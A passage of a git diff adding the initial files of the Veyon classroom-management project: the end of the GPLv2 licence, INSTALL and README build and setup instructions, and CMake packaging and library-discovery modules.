Therefore, by +modifying or distributing the Program (or any work based on the +Program), you indicate your acceptance of this License to do so, and +all its terms and conditions for copying, distributing or modifying +the Program or works based on it. + + 6. Each time you redistribute the Program (or any work based on the +Program), the recipient automatically receives a license from the +original licensor to copy, distribute or modify the Program subject to +these terms and conditions. You may not impose any further +restrictions on the recipients' exercise of the rights granted herein. +You are not responsible for enforcing compliance by third parties to +this License. + + 7. If, as a consequence of a court judgment or allegation of patent +infringement or for any other reason (not limited to patent issues), +conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot +distribute so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you +may not distribute the Program at all. For example, if a patent +license would not permit royalty-free redistribution of the Program by +all those who receive copies directly or indirectly through you, then +the only way you could satisfy both it and this License would be to +refrain entirely from distribution of the Program. + +If any portion of this section is held invalid or unenforceable under +any particular circumstance, the balance of the section is intended to +apply and the section as a whole is intended to apply in other +circumstances. + +It is not the purpose of this section to induce you to infringe any +patents or other property right claims or to contest validity of any +such claims; this section has the sole purpose of protecting the +integrity of the free software distribution system, which is +implemented by public license practices. Many people have made +generous contributions to the wide range of software distributed +through that system in reliance on consistent application of that +system; it is up to the author/donor to decide if he or she is willing +to distribute software through any other system and a licensee cannot +impose that choice. + +This section is intended to make thoroughly clear what is believed to +be a consequence of the rest of this License. + + 8. If the distribution and/or use of the Program is restricted in +certain countries either by patents or by copyrighted interfaces, the +original copyright holder who places the Program under this License +may add an explicit geographical distribution limitation excluding +those countries, so that distribution is permitted only in or among +countries not thus excluded. In such case, this License incorporates +the limitation as if written in the body of this License. + + 9. The Free Software Foundation may publish revised and/or new versions +of the General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + +Each version is given a distinguishing version number. If the Program +specifies a version number of this License which applies to it and "any +later version", you have the option of following the terms and conditions +either of that version or of any later version published by the Free +Software Foundation. If the Program does not specify a version number of +this License, you may choose any version ever published by the Free Software +Foundation. + + 10. If you wish to incorporate parts of the Program into other free +programs whose distribution conditions are different, write to the author +to ask for permission. For software which is copyrighted by the Free +Software Foundation, write to the Free Software Foundation; we sometimes +make exceptions for this. Our decision will be guided by the two goals +of preserving the free status of all derivatives of our free software and +of promoting the sharing and reuse of software generally. + + NO WARRANTY + + 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY +FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN +OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES +PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED +OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF +MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS +TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE +PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, +REPAIR OR CORRECTION. + + 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR +REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, +INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING +OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED +TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY +YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER +PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE +POSSIBILITY OF SUCH DAMAGES. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +convey the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + + Copyright (C) + + This program is free software; you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation; either version 2 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License along + with this program; if not, write to the Free Software Foundation, Inc., + 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. + +Also add information on how to contact you by electronic and paper mail. + +If the program is interactive, make it output a short notice like this +when it starts in an interactive mode: + + Gnomovision version 69, Copyright (C) year name of author + Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, the commands you use may +be called something other than `show w' and `show c'; they could even be +mouse-clicks or menu items--whatever suits your program. + +You should also get your employer (if you work as a programmer) or your +school, if any, to sign a "copyright disclaimer" for the program, if +necessary. Here is a sample; alter the names: + + Yoyodyne, Inc., hereby disclaims all copyright interest in the program + `Gnomovision' (which makes passes at compilers) written by James Hacker. + + , 1 April 1989 + Ty Coon, President of Vice + +This General Public License does not permit incorporating your program into +proprietary programs. If your program is a subroutine library, you may +consider it more useful to permit linking proprietary applications with the +library. If this is what you want to do, use the GNU Lesser General +Public License instead of this License. + +------------------------------------------------------------------------- + +In addition, as a special exception, Tobias Junghans gives permission to link the +code of its release of Veyon with the OpenSSL project's "OpenSSL" library (or +modified versions of the "OpenSSL" library that use the same license as the +original version), and distribute the linked executables. + +You must comply with the GNU General Public License version 2 in all respects +for all of the code used other than the "OpenSSL" code. If you modify this +file, you may extend this exception to your version of the file, but you are +not obligated to do so. If you do not wish to do so, delete this exception +statement from your version of this file. diff --git a/INSTALL b/INSTALL new file mode 100644 index 0000000..34b6c81 --- /dev/null +++ b/INSTALL @@ -0,0 +1,91 @@ +INSTALLING AND SETTING UP VEYON FOR USE +======================================= + +Please note that all instructions in this file apply to the Linux version of +Veyon. Users of the Windows version of Veyon should run the installer which will +guide you through the installation. Afterwards the graphical Veyon Configurator +helps to set up Veyon. + +For further information you can also take a look at Veyon administrator manual: + + http://docs.veyon.io/en/latest/admin/index.html + + +Installing Veyon +---------------- + +Requirements: + +First you should download the necessary packages depending on your +Linux distribution. If there're no packages for your distribution, +try to build Veyon yourself. See according section in README file +for details. + +If there're unfulfilled requirements, your package management system (dpkg, +RPM etc.) will complain about it. + + +Installing: + +First you have to install the necessary packages on your computer(s). +On clients you only have to install the packages veyon: + +on DPKG-based systems: + + dpkg -i veyon...deb + +on RPM-based systems: + + rpm -i veyon...rpm + +Of course, if your linux distribution has available such package you can install it from repositories: + + apt install veyon + + dnf install veyon + + +Essentially, there are 3 main apps in package: + +- veyon-configurator +- veyon-service +- veyon-master + + +On the master computer you must be sure to have installed veyon-master. +On clients computers remove veyon-master if you installed it. + + + +Setup a Veyon client +-------------------- + +On clients you have to make sure that the Veyon Service is being started when +either X is started or a user logs on. There're several methods to achieve this +(this is why it's not done automatically when installing the package): + +1. Add the appropriate command ("veyon-service &") to /etc/X11/xinit/xinitrc or + add an according desktop file to /etc/xdg/autostart. + This method isn't recommend, because ICA then runs with the user's + privileges -> the user is able to kill ICA and get out of teacher's + control. + +2. add "veyon-service &" to /etc/X11/xdm/Xsetup. On some systems, this + doesn't take effect, so either edit /etc/kde4/kdm/Xsetup or + /etc/X11/gdm/Xsetup + +You can easily test whether all is fine by running telnet on port 11100 of the +according compter. + +example: + + telnet 192.168.1.2 11100 + + +You should see something like "RFB 003.008". + + +Setting up and configuring Veyon +--------------------------------- + +Please refer to the official Veyon Administrator Manual at http://docs.veyon.io/en/latest/admin/index.html diff --git a/README.md b/README.md new file mode 100644 index 0000000..4b4d56c --- /dev/null +++ b/README.md @@ -0,0 +1,157 @@ +# Veyon - Virtual Eye On Networks + +[![Build status](https://img.shields.io/travis/veyon/veyon.svg)](https://travis-ci.org/veyon/veyon) +[![Latest stable release](https://img.shields.io/github/release/veyon/veyon.svg?maxAge=3600)](https://github.com/veyon/veyon/releases) +[![Overall downloads on Github](https://img.shields.io/github/downloads/veyon/veyon/total.svg?maxAge=3600)](https://github.com/veyon/veyon/releases) +[![Documentation Status](https://readthedocs.org/projects/veyon/badge/?version=latest)](http://veyon.readthedocs.io/en/latest/?badge=latest) +[![Localise on Transifex](https://img.shields.io/badge/localise-on_transifex-green.svg)](https://www.transifex.com/veyon-solutions/veyon/) +[![license](https://img.shields.io/badge/license-GPLv2-green.svg)](LICENSE) + + +## What is Veyon? + +Veyon is a free and Open Source software for computer monitoring and classroom +management supporting Windows and Linux. It enables teachers to view and control +computer labs and interact with students. Veyon is available in different +languages and provides lots of useful features: + + * see what's going on in computer labs in overview mode and take screenshots + * remote control computers to support and help users + * broadcast teacher's screen to students in realtime by using demo mode + (either in fullscreen or in a window) + * lock workstations for attracting attention to teacher + * send text messages to students + * powering on/off and rebooting computers remote + * remote logoff and remote execution of arbitrary commands/scripts + * home schooling - Veyon's network technology is not restricted to a subnet + and therefore students at home can join lessons via VPN connections just by + installing the Veyon service + + +## License + +Copyright (c) 2004-2019 Tobias Junghans / Veyon Solutions. + +See the file COPYING for the GNU GENERAL PUBLIC LICENSE. + + +## Installation and configuration + +Please refer to the official Veyon Administrator Manual at http://docs.veyon.io/en/latest/admin/index.html +for information on the installation and configuration of Veyon. + + +## Usage + +Please refer to the official Veyon User Manual at http://docs.veyon.io/en/latest/user/index.html +for information on how to use Veyon. + + +## Veyon on Linux + +### Downloading sources + +First grab the latest sources by cloning the Git repository and fetching all submodules: + + git clone --recursive https://github.com/veyon/veyon.git && cd veyon + + +### Installing dependencies + +Requirements for Debian-based distributions: + +- Build tools: g++ make cmake +- Qt5: qtbase5-dev qtbase5-dev-tools qttools5-dev qttools5-dev-tools +- X11: xorg-dev libxtst-dev +- libjpeg: libjpeg-dev provided by libjpeg-turbo8-dev or libjpeg62-turbo-dev +- zlib: zlib1g-dev +- OpenSSL: libssl-dev +- PAM: libpam0g-dev +- procps: libprocps-dev +- LZO: liblzo2-dev +- QCA: libqca2-dev libqca-qt5-2-dev +- LDAP: libldap2-dev + +As root you can run + + apt install g++ make cmake qtbase5-dev qtbase5-dev-tools qttools5-dev qttools5-dev-tools \ + xorg-dev libxtst-dev libjpeg-dev zlib1g-dev libssl-dev libpam0g-dev \ + libprocps-dev liblzo2-dev libqca2-dev libqca-qt5-2-dev libldap2-dev + + +Requirements for RedHat-based distributions: + +- Build tools: gcc-c++ make cmake rpm-build +- Qt5: qt5-devel +- X11: libXtst-devel libXrandr-devel libXinerama-devel libXcursor-devel libXrandr-devel libXdamage-devel libXcomposite-devel libXfixes-devel +- libjpeg: libjpeg-turbo-devel +- zlib: zlib-devel +- OpenSSL: openssl-devel +- PAM: pam-devel +- procps: procps-devel +- LZO: lzo-devel +- QCA: qca-devel qca-qt5-devel +- LDAP: openldap-devel + +As root you can run + + dnf install gcc-c++ make cmake rpm-build qt5-devel libXtst-devel libXrandr-devel libXinerama-devel libXcursor-devel \ + libXrandr-devel libXdamage-devel libXcomposite-devel libXfixes-devel libjpeg-turbo-devel zlib-devel \ + openssl-devel pam-devel procps-devel lzo-devel qca-devel qca-qt5-devel openldap-devel + + +### Configuring and building sources + +Run the following commands: + + mkdir build + cd build + cmake .. + make -j4 + +NOTE: If you want to build a .deb or .rpm package for this software, instead of the provided cmake command, you should use: + + cmake -DCMAKE_INSTALL_PREFIX=/usr .. + +to install package files in /usr instead of /usr/local. + +If some requirements are not fullfilled, CMake will inform you about it and +you will have to install the missing software before continuing. + +You can now generate a package (.deb or .rpm depending what system you are in). + +For generating a package you can run + + fakeroot make package + +Then you'll get something like veyon_x.y.z_arch.deb or veyon-x.y.z.arch.rpm + +Alternatively you can install the built binaries directly (not recommended for +production systems) by running the following command as root: + + make install + +### Arch linux + +A PKGBUILD can be found in the [AUR](https://aur.archlinux.org/packages/veyon/). + +### PPA + +This PPA contains official Veyon packages for Ubuntu suitable for use both on desktop computers and ARM boards (e.g. Raspberry Pi). Even though only packages for LTS releases are available they should work for subsequent non-LTS releases as well. + + sudo add-apt-repository ppa:veyon/stable + sudo apt-get update + +## Join development + +If you are interested in Veyon, its programming, artwork, testing or something like that, you're welcome to participate in the development of Veyon! + +Before starting the implementation of a new feature, please always open an issue at https://github.com/veyon/veyon/issues to start a discussion about your intended implementation. There may be different ideas, improvements, hints or maybe an already ongoing work on this feature. + + +## More information + +* http://veyon.io/ +* http://docs.veyon.io/ +* http://facebook.com/veyon.io/ +* https://twitter.com/veyon_io diff --git a/cmake/CPackDefinitions.cmake b/cmake/CPackDefinitions.cmake new file mode 100644 index 0000000..4f290d7 --- /dev/null +++ b/cmake/CPackDefinitions.cmake @@ -0,0 +1,114 @@ +# +# generate packages +# +# Environment +if (NOT CPACK_SYSTEM_NAME) + set(CPACK_SYSTEM_NAME "${CMAKE_SYSTEM_PROCESSOR}") +endif () + + +# Basic information +SET(CPACK_PACKAGE_NAME "veyon") +SET(CPACK_PACKAGE_VERSION_MAJOR "${VERSION_MAJOR}") +SET(CPACK_PACKAGE_VERSION_MINOR "${VERSION_MINOR}") +SET(CPACK_PACKAGE_VERSION_PATCH "${VERSION_PATCH}") +set(CPACK_PACKAGE_VERSION "${CPACK_PACKAGE_VERSION_MAJOR}.${CPACK_PACKAGE_VERSION_MINOR}.${CPACK_PACKAGE_VERSION_PATCH}") + +SET(CPACK_PACKAGING_INSTALL_PREFIX "${CMAKE_INSTALL_PREFIX}") +SET(CPACK_PACKAGE_FILE_NAME "${CPACK_PACKAGE_NAME}_${CPACK_PACKAGE_VERSION}_${CPACK_SYSTEM_NAME}") +SET(CPACK_PACKAGE_CONTACT "Tobias Junghans ") +SET(CPACK_PACKAGE_HOMEPAGE "http://veyon.io") +SET(CPACK_PACKAGE_DESCRIPTION_SUMMARY "Virtual Eye On Networks - OpenSource classroom management") +# SET(CPACK_PACKAGE_DESCRIPTION_FILE "${CMAKE_SOURCE_DIR}/DESCRIPTION") +# SET(CPACK_PACKAGE_VENDOR "Veyon Solutions") +SET(CPACK_RESOURCE_FILE_LICENSE "${CMAKE_SOURCE_DIR}/COPYING") +SET(CPACK_RESOURCE_FILE_README "${CMAKE_SOURCE_DIR}/README.md") +SET(CPACK_INCLUDE_TOPLEVEL_DIRECTORY TRUE) +SET(CPACK_SOURCE_IGNORE_FILES "${CMAKE_SOURCE_DIR}/build/;${CMAKE_SOURCE_DIR}/.git/;") +SET(CPACK_STRIP_FILES TRUE) + +# DEB package +SET(CPACK_DEBIAN_PACKAGE_DESCRIPTION "Virtual Eye On Networks - OpenSource classroom management + Veyon is an Open Source computer monitoring and classroom management software. + It enables teachers to view and control computer labs and interact with students. + Veyon is available in different languages and provides lots of useful features: + . + * see what's going on in computer labs in overview mode and take screenshots + * remote control computers to support and help users + * broadcast teacher's screen to students in realtime by using demo mode (either in fullscreen or in a window) + * lock workstations for attracting attention to teacher + * send text messages to students + * powering on/off and rebooting computers remote + * remote logoff and remote execution of arbitrary commands/scripts + * home schooling - Veyon's network-technology is not restricted to a subnet and therefore students at home + can join lessons via VPN connections just by installing the Veyon service +") +SET(CPACK_DEBIAN_PACKAGE_SECTION "Education") +SET(CPACK_DEBIAN_PACKAGE_DEPENDS "libqca-qt5-2-plugins") +SET(CPACK_DEBIAN_PACKAGE_SHLIBDEPS ON) +SET(CPACK_DEBIAN_COMPRESSION_TYPE "xz") + +FUNCTION(ReadRelease valuename FROM filename INTO varname) + file (STRINGS ${filename} _distrib + REGEX "^${valuename}=" + ) + string (REGEX REPLACE + "^${valuename}=\"?\(.*\)" "\\1" ${varname} "${_distrib}" + ) + # remove trailing quote that got globbed by the wildcard (greedy match) + string (REGEX REPLACE + "\"$" "" ${varname} "${${varname}}" + ) + set (${varname} "${${varname}}" PARENT_SCOPE) +ENDFUNCTION() + +# RPM package +IF(EXISTS /etc/os-release) +ReadRelease("NAME" FROM /etc/os-release INTO OS_NAME) +IF(OS_NAME MATCHES ".*openSUSE.*") + SET(OS_OPENSUSE TRUE) +ENDIF() +ENDIF() + +IF(OS_OPENSUSE) +SET(CPACK_RPM_PACKAGE_REQUIRES ${CPACK_RPM_PACKAGE_REQUIRES} "libqca-qt5-plugins") +ELSE() +SET(CPACK_RPM_PACKAGE_REQUIRES ${CPACK_RPM_PACKAGE_REQUIRES} "qca-qt5-ossl") +ENDIF() +SET(CPACK_RPM_PACKAGE_LICENSE "GPLv2") +SET(CPACK_RPM_PACKAGE_DESCRIPTION "Veyon is an Open Source computer monitoring and classroom management software. +It enables teachers to view and control computer labs and interact with students." ) +SET(CPACK_RPM_EXCLUDE_FROM_AUTO_FILELIST_ADDITION /lib) + + +# Generators +IF (WIN32) # TODO + IF (USE_WIX_TOOLSET) + SET(CPACK_GENERATOR "WIX") # this need WiX Tooset installed and a path to candle.exe + ELSE () + SET(CPACK_GENERATOR "NSIS") # this needs NSIS installed, and available + ENDIF () + SET(CPACK_SOURCE_GENERATOR "ZIP") +ELSEIF ( ${CMAKE_SYSTEM_NAME} MATCHES "Darwin") # TODO + SET(CPACK_GENERATOR "PackageMake") +ELSE () + IF(EXISTS /etc/redhat-release OR EXISTS /etc/fedora-release OR OS_OPENSUSE) + SET(CPACK_PACKAGE_FILE_NAME "${CPACK_PACKAGE_NAME}-${CPACK_PACKAGE_VERSION}.${CPACK_SYSTEM_NAME}") + SET(CPACK_GENERATOR "RPM") + ENDIF () + IF(EXISTS /etc/debian_version) + if (CPACK_SYSTEM_NAME STREQUAL "x86_64") + set(CPACK_SYSTEM_NAME "amd64") + endif () + SET(CPACK_PACKAGE_FILE_NAME "${CPACK_PACKAGE_NAME}_${CPACK_PACKAGE_VERSION}_${CPACK_SYSTEM_NAME}") + SET(CPACK_GENERATOR "DEB") + ENDIF () + SET(CPACK_SOURCE_GENERATOR "TGZ") +ENDIF () + + +INCLUDE(CPack) +# To generate packages use: +# make package +# make package_source + diff --git a/cmake/modules/BuildPlugin.cmake b/cmake/modules/BuildPlugin.cmake new file mode 100644 index 0000000..a371d8a --- /dev/null +++ b/cmake/modules/BuildPlugin.cmake @@ -0,0 +1,40 @@ +# BuildPlugin.cmake - Copyright (c) 2017-2019 Tobias Junghans +# +# description: build Veyon plugin +# usage: BUILD_PLUGIN( MOCFILES RESOURCES FORMS LINK ) + +MACRO(BUILD_PLUGIN PLUGIN_NAME) + CMAKE_PARSE_ARGUMENTS(PLUGIN "COTIRE" "" "MOCFILES;RESOURCES;FORMS;LINK" ${ARGN}) + SET(PLUGIN_SOURCES ${PLUGIN_UNPARSED_ARGUMENTS}) + + INCLUDE_DIRECTORIES(${CMAKE_CURRENT_BINARY_DIR} ${CMAKE_CURRENT_SOURCE_DIR}) + + QT5_WRAP_CPP(plugin_MOC_out ${PLUGIN_MOCFILES}) + QT5_WRAP_UI(plugin_UIC_out ${PLUGIN_FORMS}) + QT5_ADD_RESOURCES(plugin_RCC_out ${PLUGIN_RESOURCES}) + + FOREACH(f ${PLUGIN_SOURCES}) + ADD_FILE_DEPENDENCIES(${f} ${plugin_UIC_out}) + ENDFOREACH(f) + + IF ("${PLUGIN_LINK}" STREQUAL "SHARED") + ADD_LIBRARY(${PLUGIN_NAME} SHARED ${PLUGIN_SOURCES} ${plugin_MOC_out} ${plugin_RCC_out}) + ELSE () + ADD_LIBRARY(${PLUGIN_NAME} MODULE ${PLUGIN_SOURCES} ${plugin_MOC_out} ${plugin_RCC_out}) + ENDIF () + + TARGET_LINK_LIBRARIES(${PLUGIN_NAME} Qt5::Widgets Qt5::Network) + + TARGET_LINK_LIBRARIES(${PLUGIN_NAME} veyon-core) + + SET_TARGET_PROPERTIES(${PLUGIN_NAME} PROPERTIES PREFIX "") + SET_TARGET_PROPERTIES(${PLUGIN_NAME} PROPERTIES LINK_FLAGS "-Wl,-no-undefined") + INSTALL(TARGETS ${PLUGIN_NAME} LIBRARY DESTINATION ${VEYON_LIB_DIR}) + + SET_DIRECTORY_PROPERTIES(PROPERTIES ADDITIONAL_MAKE_CLEAN_FILES "${plugin_MOC_out} ${plugin_RCC_out}") + + IF(PLUGIN_COTIRE) + COTIRE_VEYON(${PLUGIN_NAME}) + ENDIF() +ENDMACRO(BUILD_PLUGIN) + diff --git a/cmake/modules/COPYING-CMAKE-SCRIPTS b/cmake/modules/COPYING-CMAKE-SCRIPTS new file mode 100644 index 0000000..4b41776 --- /dev/null +++ b/cmake/modules/COPYING-CMAKE-SCRIPTS @@ -0,0 +1,22 @@ +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions +are met: + +1. Redistributions of source code must retain the copyright + notice, this list of conditions and the following disclaimer. +2. Redistributions in binary form must reproduce the copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. +3. The name of the author may not be used to endorse or promote products + derived from this software without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR +IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES +OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. +IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, +INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT +NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF +THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. diff --git a/cmake/modules/CotireVeyon.cmake b/cmake/modules/CotireVeyon.cmake new file mode 100644 index 0000000..9c781f2 --- /dev/null +++ b/cmake/modules/CotireVeyon.cmake @@ -0,0 +1,7 @@ +INCLUDE(cotire) +MACRO(COTIRE_VEYON TARGET_NAME) +SET_PROPERTY(TARGET ${TARGET_NAME} PROPERTY CXX_STANDARD 11) +SET_PROPERTY(TARGET ${TARGET_NAME} PROPERTY CXX_STANDARD_REQUIRED ON) +SET_TARGET_PROPERTIES(${TARGET_NAME} PROPERTIES COTIRE_CXX_PREFIX_HEADER_INIT "${PROJECT_SOURCE_DIR}/core/include/Cotire.h") +cotire(${TARGET_NAME}) +ENDMACRO(COTIRE_VEYON) diff --git a/cmake/modules/FindLZO.cmake b/cmake/modules/FindLZO.cmake new file mode 100644 index 0000000..9a899d8 --- /dev/null +++ b/cmake/modules/FindLZO.cmake @@ -0,0 +1,29 @@ +# Find liblzo2 +# LZO_FOUND - system has the LZO library +# LZO_INCLUDE_DIR - the LZO include directory +# LZO_LIBRARIES - The libraries needed to use LZO + +if (LZO_INCLUDE_DIR AND LZO_LIBRARIES) + # in cache already + SET(LZO_FOUND TRUE) +else (LZO_INCLUDE_DIR AND LZO_LIBRARIES) + FIND_PATH(LZO_INCLUDE_DIR NAMES lzo/lzo1x.h) + + FIND_LIBRARY(LZO_LIBRARIES NAMES lzo2) + + if (LZO_INCLUDE_DIR AND LZO_LIBRARIES) + set(LZO_FOUND TRUE) + endif (LZO_INCLUDE_DIR AND LZO_LIBRARIES) + + if (LZO_FOUND) + if (NOT LZO_FIND_QUIETLY) + message(STATUS "Found LZO: ${LZO_LIBRARIES}") + endif (NOT LZO_FIND_QUIETLY) + else (LZO_FOUND) + if (LZO_FIND_REQUIRED) + message(FATAL_ERROR "Could NOT find LZO") + endif (LZO_FIND_REQUIRED) + endif (LZO_FOUND) + + MARK_AS_ADVANCED(LZO_INCLUDE_DIR LZO_LIBRARIES) +endif (LZO_INCLUDE_DIR AND LZO_LIBRARIES) diff --git a/cmake/modules/FindLdap.cmake b/cmake/modules/FindLdap.cmake new file mode 100644 index 0000000..7f8ef04 --- /dev/null +++ b/cmake/modules/FindLdap.cmake @@ -0,0 +1,114 @@ +#.rst: +# FindLdap +# -------- +# +# Try to find the LDAP client libraries. +# +# This will define the following variables: +# +# ``Ldap_FOUND`` +# True if libldap is available. +# +# ``Ldap_VERSION`` +# The version of libldap +# +# ``Ldap_INCLUDE_DIRS`` +# This should be passed to target_include_directories() if +# the target is not used for linking +# +# ``Ldap_LIBRARIES`` +# The LDAP libraries (libldap + liblber if available) +# This can be passed to target_link_libraries() instead of +# the ``Ldap::Ldap`` target +# +# If ``Ldap_FOUND`` is TRUE, the following imported target +# will be available: +# +# ``Ldap::Ldap`` +# The LDAP library +# +# Since pre-5.0.0. +# +# Imported target since 5.1.41 +# +#============================================================================= +# Copyright 2006 Szombathelyi György +# Copyright 2007-2016 Laurent Montel +# +# +# Redistribution and use in source and binary forms, with or without +# modification, are permitted provided that the following conditions +# are met: +# +# 1. Redistributions of source code must retain the copyright +# notice, this list of conditions and the following disclaimer. +# 2. Redistributions in binary form must reproduce the copyright +# notice, this list of conditions and the following disclaimer in the +# documentation and/or other materials provided with the distribution. +# 3. The name of the author may not be used to endorse or promote products +# derived from this software without specific prior written permission. +# +# THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR +# IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES +# OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. +# IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, +# INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT +# NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +# DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +# THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF +# THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. +#============================================================================= + +find_path(Ldap_INCLUDE_DIRS NAMES ldap.h) + +if(APPLE) + find_library(Ldap_LIBRARIES NAMES LDAP + PATHS + /System/Library/Frameworks + /Library/Frameworks + ) +else() + find_library(Ldap_LIBRARIES NAMES ldap) + find_library(Lber_LIBRARIES NAMES lber) +endif() + +if(Ldap_LIBRARIES AND Lber_LIBRARIES) + set(Ldap_LIBRARIES ${Ldap_LIBRARIES} ${Lber_LIBRARIES}) +endif() + +if(EXISTS ${Ldap_INCLUDE_DIRS}/ldap_features.h) + file(READ ${Ldap_INCLUDE_DIRS}/ldap_features.h LDAP_FEATURES_H_CONTENT) + string(REGEX MATCH "#define LDAP_VENDOR_VERSION_MAJOR[ ]+[0-9]+" _LDAP_VERSION_MAJOR_MATCH ${LDAP_FEATURES_H_CONTENT}) + string(REGEX MATCH "#define LDAP_VENDOR_VERSION_MINOR[ ]+[0-9]+" _LDAP_VERSION_MINOR_MATCH ${LDAP_FEATURES_H_CONTENT}) + string(REGEX MATCH "#define LDAP_VENDOR_VERSION_PATCH[ ]+[0-9]+" _LDAP_VERSION_PATCH_MATCH ${LDAP_FEATURES_H_CONTENT}) + + string(REGEX REPLACE ".*_MAJOR[ ]+(.*)" "\\1" LDAP_VERSION_MAJOR ${_LDAP_VERSION_MAJOR_MATCH}) + string(REGEX REPLACE ".*_MINOR[ ]+(.*)" "\\1" LDAP_VERSION_MINOR ${_LDAP_VERSION_MINOR_MATCH}) + string(REGEX REPLACE ".*_PATCH[ ]+(.*)" "\\1" LDAP_VERSION_PATCH ${_LDAP_VERSION_PATCH_MATCH}) + + set(Ldap_VERSION "${LDAP_VERSION_MAJOR}.${LDAP_VERSION_MINOR}.${LDAP_VERSION_PATCH}") +endif() + +include(FindPackageHandleStandardArgs) + +find_package_handle_standard_args(Ldap + FOUND_VAR Ldap_FOUND + REQUIRED_VARS Ldap_LIBRARIES Ldap_INCLUDE_DIRS + VERSION_VAR Ldap_VERSION +) + +if(Ldap_FOUND AND NOT TARGET Ldap::Ldap) + add_library(Ldap::Ldap UNKNOWN IMPORTED) + set_target_properties(Ldap::Ldap PROPERTIES + IMPORTED_LOCATION "${Ldap_LIBRARIES}" + INTERFACE_INCLUDE_DIRECTORIES "${Ldap_INCLUDE_DIRS}") +endif() + +mark_as_advanced(Ldap_INCLUDE_DIRS Ldap_LIBRARIES Lber_LIBRARIES Ldap_VERSION) + +include(FeatureSummary) +set_package_properties(Ldap PROPERTIES + URL "http://www.openldap.org/" + DESCRIPTION "LDAP (Lightweight Directory Access Protocol) libraries." +) diff --git a/cmake/modules/FindPAM.cmake b/cmake/modules/FindPAM.cmake new file mode 100644 index 0000000..3499836 --- /dev/null +++ b/cmake/modules/FindPAM.cmake @@ -0,0 +1,74 @@ +# - Try to find the PAM libraries +# Once done this will define +# +# PAM_FOUND - system has pam +# PAM_INCLUDE_DIR - the pam include directory +# PAM_LIBRARIES - libpam library + +if (PAM_INCLUDE_DIR AND PAM_LIBRARY) + # Already in cache, be silent + set(PAM_FIND_QUIETLY TRUE) +endif (PAM_INCLUDE_DIR AND 